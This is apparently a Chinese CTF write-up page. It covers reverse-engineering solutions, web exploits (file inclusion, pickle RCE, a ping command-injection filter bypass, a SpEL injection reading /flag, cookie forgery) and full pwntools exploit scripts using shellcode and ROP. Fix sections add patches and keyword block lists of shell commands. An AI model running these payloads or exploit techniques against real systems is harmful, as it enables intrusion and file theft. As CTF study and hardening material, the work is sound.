分类 WriteUps 下的文章

summarize

题目要求输入 a~f 六个正整数
2024-07-01T04:57:29.png

通过观察和带入值尝试,发现这些函数的实现都是基本运算

_BOOL8 __fastcall sub_40137B(
        unsigned int a1,
        unsigned int a2,
        unsigned int a3,
        unsigned int a4,
        unsigned int a5,
        unsigned int a6)
{
  unsigned int v7; // eax
  int v8; // ebx
  unsigned int v9; // eax
  unsigned int v10; // ebx
  unsigned int v11; // eax
  unsigned int v12; // eax
  unsigned int v18; // [rsp+20h] [rbp-30h]
  unsigned int v19; // [rsp+24h] [rbp-2Ch]
  unsigned int v20; // [rsp+28h] [rbp-28h]
  unsigned int v21; // [rsp+2Ch] [rbp-24h]
  unsigned int v22; // [rsp+30h] [rbp-20h]
  unsigned int v23; // [rsp+34h] [rbp-1Ch]
  unsigned int v24; // [rsp+38h] [rbp-18h]
  unsigned int v25; // [rsp+3Ch] [rbp-14h]

  if ( a1 <= 100000000 || a2 <= 0x5F5E100 || a3 <= 0x5F5E100 || a4 <= 0x5F5E100 || a5 <= 0x5F5E100 || a6 <= 0x5F5E100 )
    return 0LL;
  if ( a1 > 999999999 || a2 > 0x3B9AC9FF || a3 > 0x3B9AC9FF || a4 > 0x3B9AC9FF || a5 > 0x3B9AC9FF || a6 > 0x3B9AC9FF )
    return 0LL;
  v7 = sub(a1, a2);
  v18 = add(v7, a3) % 0x10AE961;
  v19 = add(a1, a2) % 0x1093A1D;
  v8 = mul(2u, a2);
  v9 = mul(3u, a1);
  v10 = sub(v9, v8);
  v20 = v10 % xor(a1, a4);
  v11 = add(a3, a1);
  v21 = and(a2, v11) % 0x6E22;
  v22 = add(a2, a4) % a1;
  v12 = add(a4, a6);
  v23 = xor(a3, v12) % 0x1CE628;
  v24 = sub(a5, a6) % 0x1172502;
  v25 = add(a5, a6) % 0x2E16F83;
  return v18 == 4139449
      && v19 == 9166034
      && v20 == 556569677
      && v21 == 12734
      && v22 == 540591164
      && v23 == 1279714
      && v24 == 17026895
      && v25 == 23769303;
}

至此,我们可以写出z3-solver脚本

from z3 import *
s = Solver()
x = [BitVec(f"x{i}", 32) for i in range(6)]

for i in x:
    s.add(i > 100000001, i <= 999999999)

a1,a2,a3,a4,a5,a6=x[0],x[1],x[2],x[3],x[4],x[5]
sub = lambda a1,a2 : a1 - a2
add = lambda a1,a2 : a1 + a2
mul = lambda a1,a2 : a1 * a2
xor = lambda a1,a2 : a1 ^ a2
_and = lambda a1,a2 : a1 & a2

v7 = sub(a1, a2)
v18 = add(v7, a3) % 0x10AE961
v19 = add(a1, a2) % 0x1093A1D
v8 = mul(2, a2)
v9 = mul(3, a1)
v10 = sub(v9, v8)
v20 = v10 % xor(a1, a4)
v11 = add(a3, a1)
v21 = _and(a2, v11) % 0x6E22
v22 = add(a2, a4) % a1
v12 = add(a4, a6)
v23 = xor(a3, v12) % 0x1CE628
v24 = sub(a5, a6) % 0x1172502
v25 = add(a5, a6) % 0x2E16F83;v18 = (v7 + a3) % 0x10AE961
v19 = (a1 + a2) % 0x1093A1D
s.add(v18 == 4139449)
s.add(v19 == 9166034)
s.add(v20 == 556569677)
s.add(v21 == 12734)
s.add(v22 == 540591164)
s.add(v23 == 1279714)
s.add(v24 == 17026895)
s.add(v25 == 23769303)
print(s.check())
m = s.model()
for i in x:
    print(hex(m[i].as_long())[2:], end='')
# 2a142dd72e87fa9c1456a32d1bc4f77739975e5fcf5c6c0
# uiuctf{2a142dd72e87fa9c1456a32d1bc4f77739975e5fcf5c6c0}

附,运算符优先级(从上到下依次降低):

~
* /
+ -
<< >>
^
&
|

Summery

Web题太多,Pwn题太少,Fix的时候也是,5个web,1个pwn,pwn基本上改一个很小的地方就过了,基本上没有区分度。
由于早上是动态积分,下午fix是静态积分,我们在早上的时候由于Web先做的不是简单题,导致拿了第26血,没有加成,所以比第一名低40分。pwn也是,由于远程环境的环境和本地的差的太多了,本地一直打通,而远程一直不能通,导致了我们没有拿下全场这一道0解题,而且主办方甚至让我们拉Dockerfile (Ubuntu的某个版本),但是线下赛没有网,真无敌了吧。
不过最后我们也是拿下了第二名(1等奖),同校队伍7也通过赛后申诉拿下了属于自己的分,从12名到11名,成功进入决赛范畴,同样拿下一等奖🎇
2024-06-22T08:33:58.png

Web

cmphp

修改前端:把注释掉的js语句执行在devtools

根据提交后提示HIJKLMN,随便输入一些

/submit.php


function generateStringFromTime($timeStr, $length = 16) {
    $hash = hash('sha256', $timeStr);
    $result = substr($hash, 0, $length);
    return $result;
}

   ...代码略...

   sleep(x);   x<60秒,需要自行猜测
   $full_time = date('Y-m-d-H-i-s');
   sleep(x);   x<8秒,需要自行猜测
   $time = date('Y-m-d-H-i');
   $generatedString = generateStringFromTime($full_time);
   $filename = '/tmp/' . $generatedString;
   $content = $_POST['HIJKLMN'];
   ...代码略...
   file_put_contents($filename, $content);
   $log_entry = "$time 时间提交了一条内容\n";
   file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

   echo render_template('submit_success.html', ['time' => $time]);
}

timeStr加sha256取前16个字符

写脚本爆破日志

import httpx
import hashlib
def sha(s: str):
    return hashlib.sha256(s.encode()).hexdigest()[:16]

for i in range(0, 61):
    s = str(i).ljust(2, '0')
    ahs = sha(f"2024-06-18-10-31-{s}") # 从include.php?file=time.txt拿,这应该是第三行,前两个都是hint2024
    # print(s, ahs)
    txt = httpx.get("http://10.1.0.122:84/include.php?file=" + ahs).text
    if txt.find("防御") != -1:
        continue
    print(txt)

mysite

信息收集到robots.txt中有include.php

文件包含读文件

http://10.1.0.122:8887/include.php?file=/flag

mygame

访问html源码发现注释给了源码,随后进行源码审计

代码使用了不安全的pickle.loads,通过__reduce__函数可以rce,且该函数可控

追踪全局变量messages

发现只在路由/submit修改了键serialized,因此试图在此进行注入

变量idiomlength均可控,通过修改messages['mes']控制cmd_line

把这个设置为Header

LOG=b3M6c3lzdGVt   (os:system)

执行系统命令并写入idiom.txt获取回显

message['mes']='cat /flag>/usr/tmp/idiom.txt'

我们发现,这个输入前4个必须是中文,后面随意,我们就填4个中文(注意,第一个是上一个成语的接龙)

把下面的这个文本附加到 ?中中中 这四个中文之后,?是上一个接龙,中文字符。
cat /flag > /var/tmp/idiom.txt

注意到那个截取长度的函数可以是负数,我们填-30可以拿到后面的命令,
然后我们正常访问就可以在原先成语的地方出现flag。

myping

使用''来规避对cat,flag的检查,使用5个/来制造一个/(先拿到ping.php源码进行审计,详情请见fix_myping)

;c''at /////f''lag

即可直接拿到flag

spel

给附件了,阅读源码:org.example.ssppeell.MyController.java

public class MyController {
    @RequestMapping({"/spel"})
    public String spel(String season) {
        Seasons s = new Seasons();
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(season);
        EvaluationContext context = new StandardEvaluationContext(s);
        return exp.getValue(context).toString();
    }
}

直接读文件
urlencode payload

new%20java.io.BufferedReader(new%20java.io.FileReader('/flag')).readLine()

mylogin

注意到,给的两个账号中间一些地方不一样,我们分别对其进行解密

ADLYWIJuh7Dap ZWVodTIyMg== 3eVssA21qmLL
ADLYWIJuh7Dap eHZodTExMQ== 3eVssA21qmLL

分别是eehu222 xvhu111
由于和我们给的账户有点不一样,且这个形式让我们联想到了凯撒加密,我们进入CyberChef,发现ROT13如果是-3的话就是正确的用户名

CyberChef_v10.18.8/index.html#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)ROT13(true,true,false,-3)&input=ZUhab2RURXhNUT09

我们把这个替换成admin,Rot13操作码+3,然后base64放回去:

ADLYWIJuh7DapZGdwbHE=3eVssA21qmLL

然后通过浏览器更改Cookie,然后进入后找到一个任意读文件的输入框,绕过js限制可以读取到flag。

Pwn

guess

题目大概是那个漏洞函数会一直起子进程,bad函数里有栈溢出,子进程不会影响父进程,爆破canary,ret2shellcode

#! /usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *

context(os="linux", arch="amd64")
TMUX_TERMINAL()
# context.log_level = "debug"

elf_path = './guess'
libc_path = ''

init_elf_with_libc(elf_path, libc_path)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

conn_context(host='10.1.0.122', port=10002, level=REMOTE, elf=elf_path)
# conn_context(args=[PRE_LOAD], interpreter='./ld-linux-x86-64.so.2')

elf = ELF(elf_path)
# libc = ELF(libc_path, checksec=False)
io = conn()

def func():
    canary = b'\x00'
    for i in range(1, 8):
        for j in range(0, 0x100):
            canary += p8(j)
            pad = b'a' * 0x18 + canary
            io.sendafter(b':\n', pad)
            if b'stack smashing' in io.recvuntil(b'thinking?'):
                canary = canary[:-1]
                continue
            break

    print(hex(u64(canary)))
    return canary

def exp():
    # io.sendafter(b':\n', b'a' * 0x18 + b'\x00\x00')

    shellcode = f"""
        mov rax, 0x67616c662f
        push rax
    
        mov rax, __NR_open
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        syscall
    
        mov rax, __NR_read
        mov rdi, 3
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    
        mov rax, __NR_write
        mov rdi, 1
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    """

    io.sendline(b'a' * 0x20 + asm(shellcode))

    canary = func()
    pad = b'a' * 0x18 + canary + b'a' * 0x8 + p64(0x40404020)
    # DEBUG()
    io.sendafter(b':\n', pad)
    io.sendafter(b':\n', pad)
    
    pass




try:
    exp()
    io.interactive()
finally:
    rm_core()

ezstack

简单的无 leak , 直接 csu + magic_gadget 一套秒.
大概的思路是使用已知的 libc 函数偏移, 使用错位构造的 magic_gadget 直接在内存中使用 csu 函数的一些部分在 bss 段上的 stdout 进行运算, 由于输入直接是 gets , 先构造一步 read , 再构造个 bss 段上的 orw 即可.

from pwn import *
#from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#io=process("./pwn")
io=remote("10.1.0.122",10001)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    pause()

add_ebx_gadget = 0x400847
csu_rbx_rbp_r12_r13_r14_r15=0x4009fa
csu_start = 0x4009e0
mainaddr = 0x4011b2
stdout = elf.bss()
bss = stdout + 0xc00
ret = 0x4006d6
#read_got=elf.got["read"]
leave_ret = 0x4008ff

padding = b'a' * 0x10

def add(off, addr=bss):
    return flat([
        csu_rbx_rbp_r12_r13_r14_r15,
        off, addr + 0x3d, 0, 0, 0, 0,
        add_ebx_gadget,
    ])

offset_open = libc.sym.open - libc.sym._IO_2_1_stdout_
offset_read = libc.sym.read - libc.sym.open
offset_write = libc.sym.write - libc.sym.read
readoffset = libc.sym.read - libc.sym._IO_2_1_stdout_

payload1=padding+flat([
    ret,
    add(readoffset,stdout),
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 0, bss, 0x600,
    csu_start, 0, 0, bss, 0, 0, 0, 0,
    leave_ret
])
#debug()
io.sendline(payload1)

payload2=b"./flag\x00\x00"
payload2+=flat([
    csu_rbx_rbp_r12_r13_r14_r15,
    libc.sym.open-libc.sym.read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, bss, 0, 0,
    csu_start, 0, 
    offset_read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget, 
    csu_rbx_rbp_r12_r13_r14_r15,    
    0, 1, stdout, 3, bss-0x200, 0x40,
    csu_start, 0,
    offset_write, stdout+0x3d, stdout, 1, bss-0x200, 0x40,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 1, bss-0x200, 0x40,
    csu_start, 0,
])
#debug()
io.sendline(payload2)

io.interactive()

Fix

fix_mylogin

改进凯撒加密算法,添加一个随机密钥

sercret = 'pasaspdjapfjapsoidfjasdoifhweuqoudsfjjasodsfgoidisguoidsijgosdjinoidsfngit'

# 凯撒加密
def caesar_cipher(text, shift):
    crypt = True
    if shift<0:
        crypt=False
    result = ""
    iter = 0
    for char in text:
        if char.isalpha():
            shift_amount = 65 if char.isupper() else 97
            result += chr((ord(char) - shift_amount + shift + ord(sercret[iter])) % 26 + shift_amount) if crypt else chr((ord(char) - shift_amount + shift - ord(sercret[iter])) % 26 + shift_amount)
        else:
            result += char
    return result

fix_mygame

改进process_idiom,只允许length为正数

def process_idiom(idiom, length):
    if length < 0:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"
    chinese_idiom = extract_chinese(idiom, 4)
    if chinese_idiom and len(chinese_idiom) >= 4:
        messages["mes"] = custom_slice(idiom, length)
    else:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"

fix_myping

由于这个4的原因,导致我们可以造斜杠,我们把4去掉就修好了,这样永远不可能制造斜杠,就不能访问根目录了。

preg_replace('/\//', ' ', $ip_address, 4);
<!-- ping.php -->
<!DOCTYPE html>
.....部分省略
    <?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $ip_address = $_POST['ip'];
        $ip_address = preprocess_ip($ip_address);
        $command = "ping -c 4 " . $ip_address;
        echo "<div id=\"output\"> <p>当前执行的命令是: $command</p>";
        $output = shell_exec($command);
        echo "<pre>$output</pre></div>";
    }

    function preprocess_ip($ip_address) {
        // Replace flag to ''
        $ip_address = str_replace('flag', '', $ip_address);
        // Remove all spaces
        $ip_address = str_replace(' ', '', $ip_address);
        // Replace '/' with a space once
        $ip_address = preg_replace('/\//', ' ', $ip_address);
        // Filter common Linux commands
        $filtered_commands = ['nl', 'ruby', 'perl', 'python', 'vim', 'vi', 'cut', 'xxd', 'od', 'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less', 'grep', 'awk', 'sed', 'IFS', '<', '>', '{', '}'];
        foreach ($filtered_commands as $cmd) {
            if (strpos($ip_address, $cmd) !== false) {
                $ip_address = '|echo "Limit KeyWord"';
                break;
            }
        }
        return $ip_address;
    }
    ?>
    </div>
</body>
</html>

fix_mysite

不允许包含以/开头的路径,杜绝越界访问

 <?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    $file = str_replace("/flag", "???", $file);
    $file = str_replace("/tmp", "???", $file);
    if(substr($file, 0, 1) === "/") 
{
die();
}
    include($file);
}else{
    highlight_file(__FILE__);
}

fix_guess

题目本身漏洞是栈溢出, 在 bad 函数中的 read 可读 0x40字节, 改变可读字节数至 0x18 即可.

fix_cmphp

加固黑名单: 添加php到正则匹配列表

'/php/i',
'/flag/i'

限制时间回显长度: 根据时间格式,长度为固定16,因此限制,并且,检测返回内容是否含有flag

preg_match('/ciscn/i', $time)
<?php

include "modules/functions.php";


if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    sleep(2);
    $full_time = date('Y-m-d-H-i-s');
    sleep(1);
    $time = date('Y-m-d-H-i');
    $generatedString = generateStringFromTime($full_time);


//    $filename = '/tmp/' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);
    $filename = '/tmp/' . $generatedString;

    $content = $_POST['HIJKLMN'];

    if (empty($content)) {
        die(render_template('error.html', ['message' => '检测到HIJKLMN为异常空变量,已被防火墙拦截!']));
    }

//    if (preg_match('shell|exec|system|passthru|popen|proc_open|eval|assert|base64_decode/', $content)) {
//        die(render_template('error.html', ['message' => 'Potential WebShell detected!']));
//    }

    $forbidden_patterns = [
        '/shell/i',
        '/exec/i',
        '/system/i',
        '/passthru/i',
        '/popen/i',
        '/proc_open/i',
        '/eval/i',
        '/file_put_contents/i',
        '/`/i',
        '/assert/i',
        '/base64_decode/i',
        '/curl_exec/i',
        '/curl_multi_exec/i',
        '/parse_ini_file/i',
        '/show_source/i',
        '/array/i',
        '/func/i',
        '/uasort/i',
        '/p?f?open/i',
        '/preg_replace/i',
        '/create_function/i',
        '/include|require/i',
        '/php/i',
        '/flag/i'
    ];

    foreach ($forbidden_patterns as $pattern) {
        if (preg_match($pattern, $content)) {
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
        }
    }


    file_put_contents($filename, $content);

    $log_entry = "$time 时间提交了一条内容<br> \n";
    file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

    if(strlen($time) != 16 || preg_match('/ciscn/i', $time))
{
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
}
    echo render_template('submit_success.html', ['time' => $time]);
}

function render_template($template, $vars = []) {
    extract($vars);
    ob_start();
    include $template;
    return ob_get_clean();
}
?>

nSMC

嵌套分支SMC
网页的两分钟限制可以把js reset去掉,然后10分钟手动续一次容器,手撕。
手撕方法:Ctrl+N手动设置RIP寄存器,然后走解密函数,递归地走解密函数。
然后通过xref反向查找到最顶层,拿到每一层的if条件。
gy5r64K3RxrZWkXJ7P6XVo93KxDmbrRI
发现这个是Correct!
然后开一个新的页面,把challenge-id改成最开始的id,提交,就过了

R3CTF{AU7OMATE_EVeRy7hInG_In_It_6714e11d6406}

baby_rop

在主函数read后,栈被整个换掉了,可以清楚看到栈上的逻辑,我们可以定位到strlen函数,发现它的返回进入了一个My_Cmp函数,这个函数生成随机数,并和另一个magic异或,这个值再异或strlen的值,最后看结果是不是0,然后会操纵跳转,我们可以知道,这两个数异或的值就是正确值,得到flag长度32,然后,我们再经过调试,发现它把flag的每8位 先异或 0x343230324E494448 再加上 0x343230324E494448 ,最后的值还是走My_Cmp函数进行正确性判断,我们就可以写出z3脚本

from z3 import *
from Crypto.Util.number import *
x = [BitVec(f"x{i}", 64) for i in range(4)]
s = Solver()
magic = 0x343230324E494448 
s.add((x[0] ^ magic) + magic == 0x0000000011DB2A3F^0x9A7BA6984AB8636B)
s.add((x[1] ^ magic) + magic == 0x0000000030836D0F^0x8F739F7345DC15CF)
s.add((x[2] ^ magic) + magic == 0x000000000AD48145^0x399F7938C150EA1A)
s.add((x[3] ^ magic) + magic == 0x000000001ECB02BB^0x7D454145674F5DD5)

print(s.check())
m = s.model()
result = b""
for i in range(4):
    result += long_to_bytes(m[x[i]].as_long())[::-1]

print(result)
# b'DASCTF{R0p_is_so_cr34y_1n_re!!!}'

FinalEncrypt

进去后发现是ChaCha加密,然后发现时间戳决定密钥,我们先根据这个rand自己写一个根据时间戳生成key的程序

#include <iostream>
#include <ios>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
        int a;
        std::cin >> a;
        srand(a);
        uint32_t mykey[32];
        for(int i = 0; i < 32; ++i){
                mykey[i] = rand();
        }
        char* cb = (char*)mykey;
        for(int i = 0;i < 64;i++)
        {
                printf("%02x", (int)cb[i] & 0xff);
        }
        return 0;
}

这个程序必须在linux下才能正常运行(rand和windows下的不一样),然后我们注意到,*.enc的两个文件,它们可以在属性中看到修改时间,精确到秒,我们就可以直接获取key了,解密这两个文件
2024-06-02T10:31:47.png
2024-06-02T10:31:54.png
然后,分析exe,发现exe里面也是一个根据时间决定一个码表的,而加密结果就是加密文本对于码表的索引值的数据,我们就可以根据上面的时间戳,对于这个时间戳附近进行爆破(生成box的算法直接从ida扣出来用)。
Exp


#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctime>
#include <iostream>

__int64 __fastcall __ROR1__(unsigned __int8 a1, char a2)
{
        return (unsigned __int8)(((int)a1 >> a2) | (a1 << (8 - a2)));
}

int main() {
        unsigned int v3; // eax
        char Str[8]; // [rsp+20h] [rbp-60h] BYREF
        char v6[56]; // [rsp+28h] [rbp-58h] BYREF
        int v7; // [rsp+60h] [rbp-20h]
        char v8[260]; // [rsp+70h] [rbp-10h] BYREF
        int v9; // [rsp+174h] [rbp+F4h]
        int v10; // [rsp+178h] [rbp+F8h]
        int v11; // [rsp+17Ch] [rbp+FCh]
        int v12; // [rsp+180h] [rbp+100h]
        int v13; // [rsp+184h] [rbp+104h]
        int v14; // [rsp+188h] [rbp+108h]
        int v15; // [rsp+18Ch] [rbp+10Ch]
        int v16; // [rsp+190h] [rbp+110h]
        char v17; // [rsp+195h] [rbp+115h]
        char v18; // [rsp+196h] [rbp+116h]
        char v19; // [rsp+197h] [rbp+117h]
        int i; // [rsp+198h] [rbp+118h]
        unsigned __int8 v21; // [rsp+19Ch] [rbp+11Ch]
        char v22; // [rsp+19Dh] [rbp+11Dh]
        char v23; // [rsp+19Eh] [rbp+11Eh]
        char v24; // [rsp+19Fh] [rbp+11Fh]

        //e07816e1dba1da61536634bef2c3b6346d533cc3b6b834e3beb634c80264143c34e36400bb4daa6902ff643414e3b8344dff6634b8b66db6bbc33834143461ab147e04

        for (int i = 1715097600; i < 1717309574; i++)
        {
                srand(i);
                do
                        v19 = rand();
                while (!v19);
                memset(v8, 0, 0x100ui64);
                v8[0] = v19;
                v22 = 1;
                v21 = 1;
                do
                {
                        if (v22 < 0)
                                v24 = 27;
                        else
                                v24 = 0;
                        v22 ^= v24 ^ (2 * v22);
                        v18 = (2 * v21) ^ (4 * ((2 * v21) ^ v21)) ^ v21;
                        v17 = v18 ^ (16 * v18);
                        if (v17 < 0)
                                v23 = 9;
                        else
                                v23 = 0;
                        v21 = v23 ^ v17;
                        v16 = (unsigned __int8)(v23 ^ v17);
                        v16 = __ROR1__(v23 ^ v17, 7);
                        v15 = v16 ^ (unsigned __int8)(v21 ^ v8[0]);
                        v14 = v21;
                        v14 = __ROR1__(v21, 6);
                        v13 = v15 ^ v14;
                        v12 = v21;
                        v12 = __ROR1__(v21, 5);
                        v11 = v13 ^ v12;
                        v10 = v21;
                        v10 = __ROR1__(v21, 4);
                        v9 = v11 ^ v10;
                        v8[v22] = v11 ^ v10;
                } while (v22 != 1);
                unsigned char hexData[67] = {
                        0xE0, 0x78, 0x16, 0xE1, 0xDB, 0xA1, 0xDA, 0x61, 0x53, 0x66, 0x34, 0xBE, 0xF2, 0xC3, 0xB6, 0x34,
                        0x6D, 0x53, 0x3C, 0xC3, 0xB6, 0xB8, 0x34, 0xE3, 0xBE, 0xB6, 0x34, 0xC8, 0x02, 0x64, 0x14, 0x3C,
                        0x34, 0xE3, 0x64, 0x00, 0xBB, 0x4D, 0xAA, 0x69, 0x02, 0xFF, 0x64, 0x34, 0x14, 0xE3, 0xB8, 0x34,
                        0x4D, 0xFF, 0x66, 0x34, 0xB8, 0xB6, 0x6D, 0xB6, 0xBB, 0xC3, 0x38, 0x34, 0x14, 0x34, 0x61, 0xAB,
                        0x14, 0x7E, 0x04
                };

                unsigned char result[67] = {};
                bool flag = true;
                for (int j = 0; j < 67; j++)
                {
                        bool notFound = true;
                        for (int k = 0; k < 0x90; k++)
                        {
                                if ((unsigned char)v8[k] == (unsigned char)hexData[j])
                                {
                                        result[j] = k;
                                        notFound = false;
                                        break;
                                }
                        }
                        if (notFound)
                        {
                                flag = false;
                                break;
                        }
                }
                
                if (flag)
                {
                        std::cout << i << std::endl;
                }
                if (flag && result[0] == 'D' && result[1] == 'A' && result[2] == 'S' && result[3] == 'C' && result[4] == 'T')
                {
                        flag = true;
                        std::cout << result << std::endl;
                }
                else
                {
                        flag = false;
                }
                if (flag)
                {
                        std::cout << "ok" << std::endl;
                }

        }

        return 0;
}
DASCTF{7ou_h@ve_5o1ved_4he_fina1_4ncrypti0n_a4d_y0u_de5erv3_a_7lag}

PPTT

首先,通过Hook VirtualProtect函数,可以注意到程序有动态代码段修改行为,且调用者是RCTF.exe(主程序段),再通过栈回溯可以注意到,strcmp函数被修改,后续调用的strcmp会让第二个参数的一个确定的字节+1。
2024-05-30T08:07:35.png
通过IDA里面的分析,可以了解到,在最后的大IF语句中,有一个strcmp,Str2是用户输入经过打乱后的值(只取11个字节以后),Str1则是字符串常量值,经过动态调试(IDA里面静态无法进行观察),可以发现strcmp对Str1进行了一些修改,通过反着打乱值,并且通过RCTF{}这样的模式,我们可以确定flag是RCTF{sj***emqrp****tyua},注意,s字符是r字符在strcmp函数中+1而来的
2024-05-30T08:08:16.png
所以我们可以了解,flag只有7位需要知道了,由于在已知中没有大写字符和数字,我们推测全部都是小写字符(并且如果加上所有字符,那么复杂度是非常大的),下面我们观察对于flag的其他判定规则。
2024-05-30T08:08:26.png
经过反复动态调试和确认后,我们可以注意到上下两个图,v10的LODWORD和HIDWORD分别表示了两个开关,当v10不为0但是v10低位为0的时候,才能通过最后的IF判定,所以我们可以确定,下图第一个if的条件是假的,不能成立的。
2024-05-30T08:09:00.png
拿到打乱的顺序列表后,我们有z3-solver

from z3 import *
from Crypto.Util.number import *
from copy import deepcopy
from typing import List

def solve():
    s = Solver()
    x = z3_create_bvs("x", 3, 64)
    v23 = x[0]
    v24 = x[1]
    v25 = x[2]
    
    v20 = v24 & v23
    v19 = (v24 & v23 | v25 & v23) + 65670
    v18 = (v25 & v23 ^ v25 & v24) - 1131796
    v17 = v24 & v23 ^ v25 & v23
    
    s.add((v24 & v23 & (~(v24 | v23) | v25 & v23 | v25 & v24 & ~v18) | v25 & v24 & v18) != 1732474390)
    s.add((v23 ^ (v20 & ~v18 | v20 & ~v19 | v17 & v19 | v25 & v23 & ~v18)) == 0x400010000622000)
    s.add((v18 ^ (v19 - v20)) == 0x2100A0203EFBB8B)
    s.add((v17 ^ v19 ^ v20) == 0x4083102108E)
    s.add((v19 ^ v17) - v18 == 0x1551566F3C6485ED)
    s.add((v18 ^ v19 ^ v25 & v24) == 0x40836ECAB9A)
    s.add((v17 ^ v20) - v18 == 0x3E51566F3C718563)
    s.add(v23 - v24 == 0x1AEFF6FDFC121BF1)
    s.add((v25 + v24 + v23) % 10 == 8)
    z3_all_bv_is_printable(s, [v23, v24, v25])
    
    v23_s = '*p*qyeam'
    v24_s = 'sT*u{**R'
    v25_s = '}CtF*js*'
    for i in range(8):
        if v23_s[i] != '*':
            s.add(v23 & (0xff << (i*8)) == ord(v23_s[i]) << (i*8))
        if v24_s[i] != '*':
            s.add(v24 & (0xff << (i*8)) == ord(v24_s[i]) << (i*8))
        if v25_s[i] != '*':
            s.add(v25 & (0xff << (i*8)) == ord(v25_s[i]) << (i*8))
    
    # answers
    while s.check() == sat:
        m = s.model()
        z3_exclude(s, x, m)
        result = z3_concat_bv_aslong(x, m).decode()
        sbox = [15, 17, 9, 19, 12, 8, 21, 23, 13, 20, 5, 7, 3, 22, 1, 2, 0, 10, 14, 18, 4, 11, 6, 16]
        assert(len(sbox) == len(result))
        for i in range(len(result)):
            print(result[sbox[i]], end='')
        print('')

# Create BitVectors
def z3_create_bvs(name: str, size: int, bvLen: int):
    x = [BitVec(f"{name}{i}", bvLen) for i in range(size)]
    return x

# Copy var
def z3_copy(var: ExprRef):
    return deepcopy(var)

# exclude curr solve to get all solvers
def z3_exclude(solver: Solver, var: List[BitVecRef], model: ModelRef):
    for i in var:
        solver.add(i != model[i])

# concat bitvec(i32/i64) to a byte array
def z3_concat_bv_aslong(var: List[BitVecRef], model: ModelRef) -> bytes:
    ans = b''
    for i in var:
        ans += long_to_bytes(model[i].as_long())[::-1]
    return ans

# filter: printable
def z3_all_bv_is_printable(solver: Solver, var: List[BitVecRef]) -> None:
    for v in var:
        for i in range(v.size() // 8):
            solver.add((v >> (i*8)) & 0xff >= 0x20)
            solver.add((v >> (i*8)) & 0xff <= 0x7f)

if __name__ == '__main__':
    solve()

bloker_vm

本题相当于一个SEH VM,并且它开了个自己,自己调试自己(通过IDA分析,CreateMutex如果发现已经开了,就走另一个地方,不走正常main函数),不过我们只需要在每个vm handler中下断点,(因为这个程序其实是不存在反调试的,只是异常会让程序跑飞),然后研究输入会如何进行变换即可,通过分析,还好RC4是标准RC4,不过有一个细节点就是,RC4的Key是一个字符串,而最后一个字符是不取的,因为有长度限制,我们即可写出EXP:
2024-05-30T08:19:58.png

from z3 import *
from Crypto.Util.number import *
from copy import deepcopy
from typing import List

def solve():
    s = Solver()
    x = z3_create_bvs('x', 25, 8)
    y = z3_copy(x)
    for i in range(25):
        x[i] ^= 0x7d
        x[i] = (x[i] << 6) | (x[i] >> 2)  & 0x3f

    # a通过动态调试获得,并通过CyberChef进行RC4解密,密钥注意最后一个没有y
    # #https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'UTF8','string':'thisisyoursecretke'%7D,'Hex','Hex')&input=ODAwNUUzMkYxODJGQzU4QzI1NzBCQzA1MUM0RkYyMDJFNTNFMDIyRkU1MTFBM0Mw&oeol=NEL
    a = bytes.fromhex("cb8f4ace810788c707c701884606c7028688c744848506c300")
    for i in range(len(a)):
        s.add(a[i] == x[i])
    # result = Z3_get_string_bytes()
    while s.check() == sat:
        m = s.model()
        z3_exclude(s, y, m)
        result = z3_concat_bv_aslong(y, m)
        print(result) 

# Create BitVectors
def z3_create_bvs(name: str, size: int, bvLen: int):
    x = [BitVec(f"{name}{i}", bvLen) for i in range(size)]
    return x

# Copy var
def z3_copy(var: ExprRef):
    return deepcopy(var)

# exclude curr solve to get all solvers
def z3_exclude(solver: Solver, var: List[BitVecRef], model: ModelRef):
    for i in var:
        solver.add(i != model[i])

# concat bitvec(i32/i64) to a byte array
def z3_concat_bv_aslong(var: List[BitVecRef], model: ModelRef) -> bytes:
    ans = b''
    for i in var:
        ans += long_to_bytes(model[i].as_long())[::-1]
    return ans

# filter: printable
def z3_all_bv_is_printable(solver: Solver, var: List[BitVecRef]) -> None:
    for v in var:
        for i in range(v.size() // 8):
            solver.add((v >> (i*8)) & 0xff >= 0x20)
            solver.add((v >> (i*8)) & 0xff <= 0x7f)

if __name__ == '__main__':
    solve()
# b'RCTF{a_baby_debug_bloker}'

re2

这道题是个Linux下的异常处理,但是挺迷惑的
在sub_401210有个base64解码,不过解码规则是第一个4字节解出来三个字节,第二个4字节解出两个字节,依次递减
